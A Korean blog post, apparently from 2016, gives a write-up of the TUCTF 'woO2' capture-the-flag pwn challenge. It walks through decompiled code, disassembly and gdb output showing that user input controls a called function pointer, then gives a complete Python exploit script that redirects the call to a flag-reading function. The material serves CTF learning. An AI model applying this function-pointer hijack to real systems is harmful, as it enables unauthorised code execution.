ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • TUCTF woO2
    CTF 2016. 5. 18. 02:50

    바이너리는 64비트 elf 이다.


    void makeStuff()
    {
      unsigned int v0; // [sp+Ch] [bp-4h]@1
    
      puts("Enter your choice:");
      fflush(stdout);
      __isoc99_scanf("%d", &v0);
      getchar();
      if ( v0 == 3 )
      {
        makeBear("%d", &v0);
      }
      else if ( (signed int)v0 > 3 )
      {
        if ( v0 == 5 )
          exit(0);
        if ( (signed int)v0 >= 5 )
        {
          if ( v0 == 4919 )
            pwnMe();
    LABEL_16:
          printf("Invalid choice :(   %d\n", v0);
          exit(0);
        }
        deleteAnimal();
      }
      else if ( v0 == 1 )
      {
        makeLion("%d", &v0);
      }
      else
      {
        if ( v0 != 2 )
          goto LABEL_16;
        makeTiger();
      }
    }



    일단 각각의메뉴가 있는데, 중요한건 4919를 입력했을경우의 pwnMe가 호출된다는것이다. 코드를보자


    void __noreturn pwnMe()
    {
      __int64 v0; // [sp+0h] [bp-10h]@1
    
      v0 = (__int64)*(&pointers + bearOffset);
      if ( *(_DWORD *)(v0 + 20) == 3 )
        (*(void (**)(void))v0)();
      exit(0);
    }



    일단 이렇게만 보면 잘모르겠다. 


    .text:0000000000400D18                 call    rax


    rax 를 call 해준다, 그럼 이제 rax 를 컨트롤만 해주면되는데, 다음코드를 보자



    text:0000000000400B75                 mov     rdx, cs:stdin@@GLIBC_2_2_5 ; stream

    .text:0000000000400B7C                 mov     rax, [rbp+s]

    .text:0000000000400B80                 mov     esi, 14h        ; n

    .text:0000000000400B85                 mov     rdi, rax        ; s

    .text:0000000000400B88                 call    _fgets


    tiger 를 입력하는곳인데, 2 -> 3을 누르면된다.


    일단 우리가 입력해준값을 rax에 담는다. 그럼 rax를 컨트롤 할수있단 소리아닌가..? 디버깅을해보자




    (gdb) i r

    rax            0x3837363534333231 4050765991979987505

    rbx            0x0 0

    rcx            0x10 16

    rdx            0xa 10

    rsi            0x7ffff7dd59f0 140737351866864

    rdi            0x7ffff7dd4640 140737351861824

    rbp            0x7fffffffea80 0x7fffffffea80

    rsp            0x7fffffffea70 0x7fffffffea70

    r8             0x7ffff7fdf740 140737354004288

    r9             0x0 0

    r10            0x1337 4919




    rax가 내가 입력한값으로 컨트롤된다. 그리고나서 세그먼트폴트가 터지는데, 어디서 터지는지 확인해보자


    (gdb) x/i $rip

    => 0x400d18 <pwnMe+55>: callq  *%rax


    call *%rax에서 터진다. 그럼 내가 입력한값을 호출한단건데, 좋은함수가 있는지 찾아보자





    __int64 l33tH4x0r()
    {
      FILE *stream; // ST08_8@1
      char s; // [sp+10h] [bp-40h]@1
      __int64 v3; // [sp+48h] [bp-8h]@1
    
      v3 = *MK_FP(__FS__, 40LL);
      stream = fopen("flag.txt", "r");
      fgets(&s, 50, stream);
      puts(&s);
      fflush(stdout);
      fclose(stream);
      return *MK_FP(__FS__, 40LL) ^ v3;
    }



    이렇게 반가울수가.. flag를 읽어주고 출력해주는 함수가 존재한다.


    그럼 딱봐도 페이로드가나오네용 



    from socket import *
    from ctypes import *
    import struct
    from telnetlib import *
    p = lambda x:struct.pack("<Q",x)
    up = lambda x:struct.unpack("<Q",x)
    
    flag = 0x40090d
    
    def recvuntil(t):
            data = ''
            while not data.endswith(t):
                    tmp = s.recv(1)
                    if not tmp: break
                    data += tmp
            return data
    
    HOST = "10.211.55.8"
    PORT = 11005
    s = socket(AF_INET,SOCK_STREAM)
    s.connect((HOST,PORT))
    
    print recvuntil("choice:")
    s.send("2\n")
    print recvuntil("4: Caspian Tiger")
    s.send("3\n")
    print recvuntil("Enter name of tiger:")
    s.send(p(flag) + "\n")
    print recvuntil("choice:")
    s.send("4919\n")
    
    t = Telnet()
    t.sock = s
    t.interact()
    s.close()
    


    'CTF' 카테고리의 다른 글

    Defcon 23 - babycmd  (7) 2016.05.19
    TUCTF pwn75  (0) 2016.05.18
    dimictf - pwn250  (0) 2016.05.18
    H3X0R CTF - bughunt  (3) 2016.05.15
    H3X0R CTF - Simple_Test  (5) 2016.05.15

    댓글

Designed by Tistory.